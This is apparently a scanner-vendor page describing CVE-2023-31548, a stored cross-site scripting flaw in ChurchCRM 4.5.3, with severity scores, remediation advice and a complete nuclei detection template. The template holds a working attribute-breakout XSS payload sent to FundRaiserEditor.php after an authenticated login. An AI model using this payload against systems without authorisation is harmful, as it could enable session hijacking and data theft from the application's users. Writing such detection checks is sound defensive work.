ChurchCRM v4.5.3 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.2%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

A stored Cross-site scripting (XSS) vulnerability in the FundRaiserEditor.php component of ChurchCRM v4.5.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.

How to confirm it

Send: POST /session/begin ; POST /FundRaiserEditor.php?linkBack=&FundRaiserID=-1
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "onfocus=\"alert(document.domain)\" autofocus=\"\"></td>") and contains(body_2, "ChurchCRM")

Run it with nuclei: nuclei -id CVE-2023-31548 -u <target>

The full check

id: CVE-2023-31548

info:
  name: ChurchCRM v4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in the FundRaiserEditor.php component of ChurchCRM v4.5.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-31548
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31548
    - https://github.com/10splayaSec/CVE-Disclosures
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-31548
    cwe-id: CWE-79
    epss-score: 0.01248
    epss-percentile: 0.69595
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /FundRaiserEditor.php?linkBack=&FundRaiserID=-1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        FundRaiserSubmit=Save&Date=2023-06-24&Title=%22+onfocus%3D%22alert%28document.domain%29%22+autofocus%3D%22&Description=test

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=\"alert(document.domain)\" autofocus=\"\"></td>")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from